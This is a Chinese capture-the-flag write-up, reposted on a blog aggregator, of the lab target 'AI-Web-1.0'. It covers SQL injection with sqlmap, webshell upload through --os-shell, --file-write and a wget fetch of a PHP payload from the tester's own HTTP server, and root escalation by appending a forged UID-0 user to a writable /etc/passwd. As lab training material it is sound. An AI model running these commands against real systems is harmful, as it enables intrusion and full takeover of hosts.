云尘-AI-Web-1.0

这篇具有很好参考价值的文章主要介绍了云尘-AI-Web-1.0。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

继续!

开扫

云尘-AI-Web-1.0,渗透,sql

继续先测试web

云尘-AI-Web-1.0,渗透,sql

云尘-AI-Web-1.0,渗透,sql

sql注入 直接sqlmap跑

通过注入 (sqlmap查询方式省略)

云尘-AI-Web-1.0,渗透,sql

存在systemuser 不知道会不会是电脑的密码 我们解密一下然后直接试试看

然后失败 这里就没有思路了 但是我们刚刚存在一个目录 我们再扫扫看

无果 换另一个目录

扫出来了 /m3diNf0/info.php 去看看

云尘-AI-Web-1.0,渗透,sql

这下就开朗了

因为这里可以获取 绝对路径 那么我们就可以直接通过 sqlmap进行getshell 这里介绍三种

第一种 --os-shell

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

云尘-AI-Web-1.0,渗透,sql

我们就getshell了

第二种  --file-write

一样是通过sqlmap

来上传文件 首先写一个木马

然后通过

--file-write 木马文件 --file-dest 存放目录

上传文件

py3 .\sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --file-write C:\Users\Administrator\Desktop\1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

云尘-AI-Web-1.0,渗透,sql

上传失败 但是学到了

第三种 wegt

首先就是本机开启web服务

用py即可

py3 -m http.server 8888

云尘-AI-Web-1.0,渗透,sql

开启 服务后 去sqlmap的shell 中下载即可

 wget http://10.8.0.174:8888//1.php

这里因为是靶场 所以找不到本身 的ip 后面发现在openvpn里存在

云尘-AI-Web-1.0,渗透,sql

云尘-AI-Web-1.0,渗透,sql

这里就成功

然后我们链接后查看一下 如何提权

首先就是查看/etc/passwd的权限

-rw-r--r-- 1 www-data www-data 1664 Aug 21  2019 /etc/passwd

发现 有w 可写 那么我们就通过 openssl 伪造一下

openssl passwd -1 -salt hack 123456

然后我们看看root怎么写的

root:x:0:0:root:/root:/bin/bash

x为密码 就是上面生成的

hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/root:/bin/bash

然后通过echo写入

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0::/root:/bin/bash' >> /etc/passwd

sudo hack 会报错

云尘-AI-Web-1.0,渗透,sql

我们使用py命令

python -c 'import pty;pty.spawn("/bin/bash")'

但是最后无法实现 靶机被打坏了。。。。。文章来源地址https://www.toymoban.com/news/detail-735552.html

到了这里,关于云尘-AI-Web-1.0的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web 1.0、Web 2.0 和 Web 3.0 之间的比较

    💂 个人网站:【海拥】【摸鱼小游戏】【神级源码资源网站】 🤟 风趣幽默的前端学习课程:👉28个案例趣学前端 💅 想寻找共同学习交流、摸鱼划水的小伙伴,请点击【摸鱼学习交流群】 💬 免费且实用的 Python 刷题(面经大全)网站:👉点击跳转到网站 本文首发于海拥资

    2024年01月17日
    浏览(57)
  • 云尘-Node1 js代码

    继续做题 拿到就是基本扫一下 然后顺便fscan扫一下咯 nmap:  fscan: 还以为直接getshell了 老演员了 其实只是302跳转 所以我们无视 只有一个站 直接看就行了 扫出来了两个目录 但是没办法 都是要跳转 说明还是需要登入才可以 不存在sql注入 源代码中也没有提示 奇了怪了 看看存

    2024年02月05日
    浏览(39)
  • 互联网的前世今生:Web 1.0、2.0、3.0

    101链视界 :区块链、隐私计算与金融科技领域的专业知识分享者。 ▲ 点击上方第二个“101链视界”关注公众号 2021年,元宇宙成为一个爆火的概念,而Web 3.0也悄悄在海外科技界和资本圈激起浪花。 有人说互联网的尽头是元宇宙,但它的发展还将是一个漫长的过程,集 5G、

    2023年04月09日
    浏览(63)
  • 论文降重助手1.0 ai写作

    大家好,小发猫降重今天来聊聊论文降重助手1.0 ai写作,希望能给大家提供一点参考。 以下是针对论文重复率高的情况,提供一些修改建议和技巧,可以借助此类工具: 标题:论文降重助手1.0:助力学术研究,轻松应对论文重复率! 在学术研究的道路上,论文的撰写和修改

    2024年03月21日
    浏览(39)
  • AI-Prompt 1.0 版简介&公测!你的AI提示词网站!

    提示词(Prompt) 是什么? 在 AI 大模型中,一个 prompt 是一个输入文本,用于触发模型生成输出。例如,当我们向一个 AI 大模型提交需求时,我们的需求就是一个 prompt。 在介绍产品之前,我们先简单重申一下 Prompt 为什么有用? 首先,研究显示一个 Prompt 的信息量相当于10

    2024年02月08日
    浏览(36)
  • 《Kali渗透基础》15. WEB 渗透

    本系列侧重方法论,各工具只是实现目标的载体。 命令与工具只做简单介绍,其使用另见《安全工具录》。 本文以 kali-linux-2023.2-vmware-amd64 为例。 静态 WEB 无交互 动态 WEB 应用程序 数据库 每人看到的内容不同 根据用户输入返回不同结果 Network OS Web Server App Server web Applicati

    2024年02月10日
    浏览(31)
  • 使用 Docker 快速上手 Stability AI 的 SDXL 1.0 正式版

    本篇文章,我们聊聊如何使用 Docker 来本地部署使用 Stability AI 刚刚推出的 SDXL 1.0,新一代的开源图片生成模型,以及在当前如何高效的使用显卡进行推理。 好久没有写 Stable Diffusion 相关的内容了,趁着 SDXL 刚刚推出,写一篇如何使用 Docker 快速上手的教程吧。 这篇文章应该

    2024年02月14日
    浏览(49)
  • Stability AI推出Stable Diffusion XL 1.0,文本到图像模型

    Stability AI宣布推出Stable Diffusion XL 1.0,这是一个文本到图像的模型,该公司将其描述为迄今为止“最先进的”版本。 Stability AI表示,SDXL 1.0能生成更加鲜明准确的色彩,在对比度、光线和阴影方面做了增强,可生成100万像素的图像(1024×1024)。而且还支持在网页上直接对生成

    2024年02月15日
    浏览(47)
  • 使用Gradio构建生成式AI应用程序; Stability AI推出Stable Diffusion XL 1.0

    🦉 AI新闻 🚀 Stability AI推出最先进的AI工具Stable Diffusion XL 1.0 摘要 :Stability AI宣布推出Stable Diffusion XL 1.0,该版本是其迄今为止最先进的AI工具。Stable Diffusion XL 1.0提供更鲜艳、更准确的图片生成,包括对比度、阴影和光照效果。该版本还支持用户定制生成的图片风格和在图片

    2024年02月14日
    浏览(42)
  • 小狐狸ChatGPT付费创作系统V2.1.0独立版 +WEB端+ H5端 + 小程序端安装教程

    播播资源针对ChatGPT付费创作系统V2.1.0提供最新的对应版本小程序端全套测试,上一版本增加了PC端绘画功能,绘画功能采用其他绘画接口-意间AI,本版新增了百度文心一言接口。后台一些小细节的优化及一些小BUG的处理,前端进行了些小细节优化,针对上几版大家非常关心的

    2024年02月14日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包